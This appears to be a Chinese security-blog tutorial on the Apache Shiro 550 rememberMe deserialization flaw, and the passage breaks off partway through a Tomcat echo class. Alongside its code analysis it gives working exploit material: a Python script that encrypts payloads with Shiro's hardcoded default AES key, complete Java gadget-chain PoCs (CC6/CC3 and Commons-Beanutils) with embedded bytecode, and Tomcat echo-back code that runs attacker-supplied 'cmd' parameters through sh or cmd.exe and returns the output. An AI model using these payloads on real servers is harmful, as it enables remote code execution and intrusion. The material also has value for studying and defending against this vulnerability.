查看原文
其他

原创 | shiro550,看这一篇就够了

k0e1y SecIN技术平台 2024-05-25

点击蓝字




关注我们



Shiro 550

shiro 550是对cookie中的RememberMe反序列化导致的漏洞,虽然16年就爆出了,但是现在在突破边界还是很好用

环境搭建

编辑器:IDEA 2020
java版本:jdk1.8.0_65
tomcat版本 : Tomcat 8.5.
shiro版本:shiro-root-1.2.4
组件:commons-collections4
下载shiro-root-1.2.4 

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

下载完成后进入samples/web目录,直接修改pom文件添加依赖

<dependencies> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <!-- 这里需要将jstl设置为1.2 --> <version>1.2</version> <scope>runtime</scope> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency><dependencies>

如果用maven打包时遇到如下错误,则就改maven下的配置文件maven/conf/toolchains.xml
Failed to execute goal org.apache.maven.plugins:maven-toolchains-plugin:1.1:toolchain (default) on project samples-web: Misconfigured toolchains.
<toolchain> <type>jdk</type> <provides> <version>1.6</version> <vendor>sun</vendor> </provides> <configuration> <jdkHome>/Library/Java/JavaVirtualMachines/1.6.0.jdk</jdkHome> </configuration></toolchain>

直接用idea打开samples/web目录,配置tomcat运行即可

加密过程分析

漏洞的解密过程大概是这样

因为使用AES加密需要一个key,而这个key存储在

/shiro-core-1.2.4.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.class中

这个DEFAULT_CIPHER_KEY_BYTES就是加密时用的key,正是因为key是固定的,导致我们可以自定义AES加密

在这个类下有一个onSuccessfulLogin方法是对登录成功的,我们下个断点跟一下

登录时记住要勾选Remember Me

收到数据了我们跟入this.forgetIdentity方法,这个方法处理了request和response请求,我们跟入this.forgetIdentity(request, response)方法

继续跟入removeFrom方法

这个方法做的是获取一些配置信息,并把这些信息通过addCookieHeader方法放到response包中

我们一直往下跟,回到了最开始的onSuccessfulLogin中
这个if判断是判断rememberme按钮是否被选中,跟入rememberIdentity方法

可以看到传入的authcInfo存储着账号和密码,我们跟入rememberIdentity方法

进入之后发现convertPrincipalsToBytes转化为bytes,我们跟入

跟入之后发现会将传入的参数序列化,随后使用encrypt方法进行加密,我们跟入encrypt

this.getCipherService()字面意思是获取密码服务,赋值给cipherService,我们可以看一下cipherService里的内容采用了AES/CBC/PKCS5Padding 128位加密,随后调用getEncryptionCipherKey()获取key进行加密,其中这个key就是我们一开始说的那个key

解密过程分析

抓取登录的返回包会发现给浏览器set-cookie了一个rememberMe

刷新网页的时候就会带rememberMe,这是判断shiro框架的一个重要标志

获取客户端数据是从getRememberedPrincipals开始的,我们对这个方法下一个断点,直接进入getRememberedSerializedIdentity

this.getCookie().readValue方法要从cookie中读数据了,这个必须跟入

this.getName()获取了名字为rememberMe,随后根据名字从request获取名字对应的内容随后赋值给value返回

之后将获取的valuebase64解码返回上层

返回getRememberedPrincipals方法,其中convertBytesToPrincipals对刚刚返回的bytes进行了处理,我们跟入

发现this.decrypt(bytes)方法,我们跟入

跟入之后发现跟加密的方法有异曲同工之妙

解密之后将解密是数据进行反序列化,至此解密过程分析完毕

漏洞利用

我们之前由于加过CommonCollections4的依赖,我们可以用cc2进行打
使用以下脚本将生成的cc2文件进行AES加密并进行base64编码
import sysimport base64import uuid
from Cryptodome.Cipher import AES
def get_file_data(filename): with open(filename,"rb") as f: data = f.read() return data
def aes_enc(data): BS = AES.block_size pad = lambda s:s +((BS - len(s)% BS) * chr(BS-len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key),mode,iv) ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data))) return ciphertext
def aes_dec(enc_data): enc_data = base64.b64decode(enc_data) unpad = lambda s : s[:-s[-1]] key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = enc_data[:16] encryptor = AES.new(base64.b64decode(key), mode, iv) plaintext = encryptor.decrypt(enc_data[16:]) plaintext = unpad(plaintext) return plaintext
if __name__ == '__main__': data = get_file_data("ser.bin") print(aes_enc(data))

抓包里面有两个认证身份的参数,两个参数都存在的话默认是使用JSESSIONID,因此要把JSESSIONID删除再替换rememberMe才能生效

shiro下cc链的利用

由于cc6没有Java版本限制,并且3.2.1版本的cc用的更广,我们添加一个cc6的依赖,但使用cc6攻击shiro却发现没有成功,查看报错信息,说不能加载到Transformer类

我们来到第一个报错的地方看一下

跟进deserialize方法,发现ois不是原生的readObject而是shiro自实现的方法

我们跟进ClassResolvingObjectInputStream类,发现重写了resolveClass方法,因此调用的是自己写的一个工具类ClassUtils中的forName方法,所以不能加载数组类

所以真正的原因就是shiro自带的这个方法不能加载数组类,因此我们要修改利用链去掉数组类

构造合适的利用链

cc链的命令执行方式主要由两种,一种是直接执行Runtime,另一种则是利用类加载器加载类
因为Runtime的方法需要数组类型,因此我们采用另一种方法,也就是cc3,从他的利用链可以看出他的核心是调用TemplatesImpl.newTransformer()从而触发类加载器加载

我们将他前半部分拿出来,想办法执行newTransformer()
Templates templates = new TemplatesImpl();byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");setFieldValue(templates,"_name","test");setFieldValue(templates,"_bytecodes",new byte[][]{bytes});

接下来我们看看cc6的利用链,他的下半部分可以调用transform方法

Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,templates); Map hashMap = new HashMap(); hashMap.put(tiedMapEntry,"test");
outerMap.remove(templates);
Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap"); Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(outerMap,invokerTransformer);
而构造一个InvokerTransformer通过调用newTransformer即可
InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);

完整Poc

package org.apache.shiro.test;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Map;
public class shiroCC { public static void main(String[] args) throws Exception { //CC3 Templates templates = new TemplatesImpl(); byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS"); setFieldValue(templates,"_name","test"); setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
//CC2 InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);
//CC6 Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,templates); Map hashMap = new HashMap(); hashMap.put(tiedMapEntry,"test");
outerMap.remove(templates);
Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap"); Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(outerMap,invokerTransformer);

serialize(hashMap); unserialize("ser");
} public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser")); out.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename)); Object o = In.readObject(); return o; }}
最后也是成功弹出了计算器

无cc依赖下的利用

由于shiro本身带了一个依赖,在没有cc依赖的情况下,我们要打只能打commons-beanutils

我们先来了解CB攻击,首先CB是为了更好地利用JavaBean研发的,我们来简单了解一下JaveBean
Person类
package org.apache.shiro.CB;
public class Person { public String name; public int age;
public Person() { } public Person(String name, int age) { this.name = name; this.age = age; }
public String getName() { return name; }
public int getAge() { return age; }
public void setName(String name) { this.name = name; }
public void setAge(int age) { this.age = age; }}
测试类
public class test { public static void main(String[] args) throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { Person person1 = new Person("kaeiy",18); System.out.println(person1.getName());
Person person2 = new Person("k0e1y",18); System.out.println(PropertyUtils.getProperty(person2,"name")); }}

PropertyUtils.getProperty和person1.getName()其实是一样的,大家对比一下就知道是干啥的了,他会调用getname方法
这里的流程其实是传入的是name随后会把首字母大写Name随后加上get就变成了getName
结合之前cc3的链发现getOutputProperties很符合上面的形式
TemplatesImpl.getOutputProperties() ->TemplatesImpl.newTransformer() ->TemplatesImpl.getTransletInstance() ->TemplatesImpl.defineTransletClasses() ->TransletClassLoader.defineClass
可以用cc3试一下
public class cc3bean { public static void main(String[] args) throws Exception { Templates templates = new TemplatesImpl(); byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS"); setFieldValue(templates,"_name","test"); setFieldValue(templates,"_bytecodes",new byte[][]{bytes}); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));
} public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); }}
成功执行

随后我们就要找一下谁调用了getProperty方法,最终在BeanComparator找到了compare方法,并且两个参数都可控

经过寻找compare方法在PriorityQueue类的siftDownUsingComparator方法有调用,而siftDownUsingComparator经过readObject()可以调用到,这也就是cc2链

所以利用链已经出来了
PriorityQueue.readObject() ->PriorityQueue.siftDownUsingComparator() ->BeanComparator.compare() ->PropertyUtils.getProperty() ->TemplatesImpl.getOutputProperties() ->TemplatesImpl.newTransformer()
所以poc已经出来了
package org.apache.shiro.CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.collections.comparators.TransformingComparator;import org.apache.commons.collections.functors.ConstantTransformer;
import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.PriorityQueue;
public class shiroCB { public static void main(String[] args) throws Exception { //CC3 Templates templates = new TemplatesImpl(); byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS"); setFieldValue(templates,"_name","test"); setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
//Commons-Beanutils BeanComparator beanComparator = new BeanComparator("outputProperties");
//CC2 TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(2);
setFieldValue(priorityQueue,"comparator",beanComparator);
serialize(priorityQueue); unserialize("ser"); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser")); out.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename)); Object o = In.readObject(); return o; }}

成功执行

shiro回显问题

shiro反序列化虽然可以执行命令,但是如果执行ipconfig这种有回显的命令,我们根本是看不到的,于是我们要想办法让我们执行的命令回显

kingkk师傅的Tomcat中一种半通用回显方法

因为虽然没有显示回显,但是执行的结果肯定存储在tomcat中,我们只需要找到一个可以利用的位置,利用反射把内容读取出来即可
首先搭建一个servlet的环境,搭建过程自行百度
里有一个注意的点,需要导入tomcat的jar包,否则查找堆栈时无法查看源码,导入后右键lib文件夹Add as Library即可,之后的只要关于tomcat源码的调试都需要添加这些包

创建如下代码并打上断点

访问网站之后,发现在doGet之前,堆栈中已经有好多内容了,这些都是tomcat处理request和response请求的流程,接下来我们就要在这些类中找到一个能被我们获取的response

经过寻找在
org.apache.catalina.core.ApplicationFilterChain
找到符合我们要求的类,在他静态代码块将lastServicedResponse初始化

并且在106行将他赋值

虽然if判断为false,但我们用反射改为true即可

所以我们的流程是
反射修改ApplicationDispatcher.WRAP_SAME_OBJECT使他为真初始化lastServicedRequest和lastServicedResponse两个变量从lastServicedResponse获取内容并回显

附上代码
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");Field modifiersField = Field.class.getDeclaredField("modifiers");modifiersField.setAccessible(true);modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);WRAP_SAME_OBJECT_FIELD.setAccessible(true);lastServicedRequestField.setAccessible(true);lastServicedResponseField.setAccessible(true);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);String cmd = lastServicedRequest != null ? lastServicedRequest.get().getParameter("cmd") : null;if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) { lastServicedRequestField.set(null, new ThreadLocal<>()); lastServicedResponseField.set(null, new ThreadLocal<>()); WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);} else if (cmd != null) { ServletResponse responseFacade = lastServicedResponse.get(); responseFacade.getWriter(); java.io.Writer w = responseFacade.getWriter(); Field responseField = ResponseFacade.class.getDeclaredField("response"); responseField.setAccessible(true); Response response = (Response) responseField.get(responseFacade); Field usingWriter = Response.class.getDeclaredField("usingWriter"); usingWriter.setAccessible(true); usingWriter.set((Object) response, Boolean.FALSE);
boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; w.write(output); w.flush();}

访问网页时要访问两次,第一次要通过反射来初始化

那我们可以回显了,该怎么和反序列化配合用呢?我们可以把这个类进行类加载,因此cc2,cc3,cc4都是可以用这个类,因为他们是调用了templatesimpl.newtransform方法来进行的类加载
把提供的回显代码进行class的base64编码放到cc4中,再把cc4的序列化文件进行base64编码传参反序列化
使用如下代码进行接收参数反序列化,注意这里用Servlet环境会有问题(踩七八小时的坑)建议用springmvc或者springboot
<%@ page contentType="text/html;charset=UTF-8" language="java" %><% try { String input = request.getParameter("input"); System.out.println(input); byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(input); java.io.ObjectInputStream ois = new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(b)); ois.readObject(); } catch (Exception e) { e.printStackTrace(); }%>
如果不想搭建环境可以使用我搭建好的,配置好tomcat直接访问index.jsp即可
链接:https://pan.baidu.com/s/1WzOYwRqrDZs7CIdgIbMuxA?pwd=6666 提取码:6666
访问要访问两遍,因为第一次反射修改tomcat底层变量,第二次才能获取到

但是这种方法不能用于shiro,shiro的rememberMe功能,其实是shiro自己实现的一个filter。作为不出网情况下的命令执行还是蛮好用的

Litch1师傅的通用回显方法(不支持Tomcat7)以及Header长度限制绕过

Litch师傅是在 Tomcat 中全局存储 request 和 response 的变量,主要目标是寻找 tomcat 中哪个类会存储 Request 和 Response
随便打一个断点查找tomcat的堆栈

根据师傅的文章Http11Processor的父类AbstractProcessor存储了Request和Response,找到Http11Processor的堆栈,发现已经给Request进行了赋值

我们进入AbstractProcessor可以看到是protected final类型,说明只允许子类或者父类调用且赋值之后,对于对象的引用是不会改变的,那他是什么时候赋值的呢

我们看一下他的构造函数,发现是public类型的构造函数调用了protected类型的构造函数,将request和response进行了赋值

而resp如何获取呢,在resquest类中有函数可以获取

因此获取了Http11Processor之后我们就可以获得req和resp,那我们如何获取Http11Processor实例或者request、response变量呢
在org.apache.coyote.AbstractProtocol.ConnectionHandler#process函数的processor对象中发现有request、response

在process方法中通过
this.getProtocol().createProcessor()
创建processor对象,然后通过register方法进行了注册

打个断点进入register方法,发现可以获取response

global其实就是RequestGroupInfo

我们跟入setGlobalProcessor

继续跟入global.addRequestProcessor,可以看到把RequestInfo添加到processors中

processors是ArrayList类型

因此当前的利用链为
AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response
我们现在就要寻找存储着AbstractProtocol类的类或者AbstractProtocol类的子类,发现在Connector中有ProtocolHandler接口,而AbstractProtocol是他的实现类

所以现在调用链变成了这样
Connector----->AbstractProtocol$ConnectoinHandler------->global-------->RequestInfo------->Request-------->Respons
那么我们的 Connector 从哪里获取呢?
在 Tomcat 启动的过程中
org.apache.catalina.startup.Tomcat#setConnector 
会将 Connector 存储到 StandardService中,所以我们就可以从 StandardService 中获取到我们的 Connector

因此调用链变成了
StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response
那如何获取StandardService呢?这里先给出网上找的师傅的解释
双亲委派机制的缺点:当加载同个jar包不同版本库的时候,该机制无法自动选择需要版本库的jar包。特别是当Tomcat等web容器承载了多个业务之后,不能有效的加载不同版本库。为了解决这个问题,Tomcat放弃了双亲委派模型。例如:假设WebApp A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2 这样在加载的时候由于全限定名相同,不能同时加载,所以必须对各个webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离,tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个ClassLoader在Tomcat就是WebAppClassLoader,通过Thread类中的getContextClassLoader()获取,当然也可以设置为指定的加载器,通过Thread类中setContextClassLoader(ClassLoader cl)方法通过设置类加载器。Tomcat加载机制简单讲,WebAppClassLoader负责加载本身的目录下的class文件,加载不到时再交给CommonClassLoader加载,这和双亲委派刚好相反。

因此可以通过

Thread.currentThread().getContextClassLoader()

来获取当前线程的ClassLoader,然后获取StandardService

Thread.currentThread().getContextClassLoader()-->StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response

shiro攻击测试

这里附上poc,使用方法和上面相同,还是对class进行base64编码,放到cc2中生成序列化文件,如果有用过天下大木头师傅的文件的,这个文件和他有点小区别,解决了命令执行时带空格参数执行不了的问题
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.connector.Response;import org.apache.coyote.Request;import org.apache.coyote.RequestInfo;
import java.io.InputStream;import java.io.Writer;import java.lang.reflect.Field;import java.util.List;
public class TomcatEcho extends AbstractTranslet {
static { try { boolean flag = false; Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads"); for (int i=0;i<threads.length;i++){ Thread thread = threads[i]; if (thread != null){ String threadName = thread.getName(); if (!threadName.contains("exec") && threadName.contains("http")){ Object target = getField(thread,"target"); Object global = null; if (target instanceof Runnable){ // 需要遍历其中的 this$0/handler/global // 需要进行异常捕获,因为存在找不到的情况 try { global = getField(getField(getField(target,"this$0"),"handler"),"global"); } catch (NoSuchFieldException fieldException){ fieldException.printStackTrace(); } } // 如果成功找到了 我们的 global ,我们就从里面获取我们的 processors if (global != null){ List processors = (List) getField(global,"processors"); for (i=0;i<processors.size();i++){ RequestInfo requestInfo = (RequestInfo) processors.get(i); if (requestInfo != null){ Request tempRequest = (Request) getField(requestInfo,"req"); org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1); Response response = request.getResponse();
String cmd = null; if (request.getParameter("cmd") != null){ cmd = request.getParameter("cmd"); }
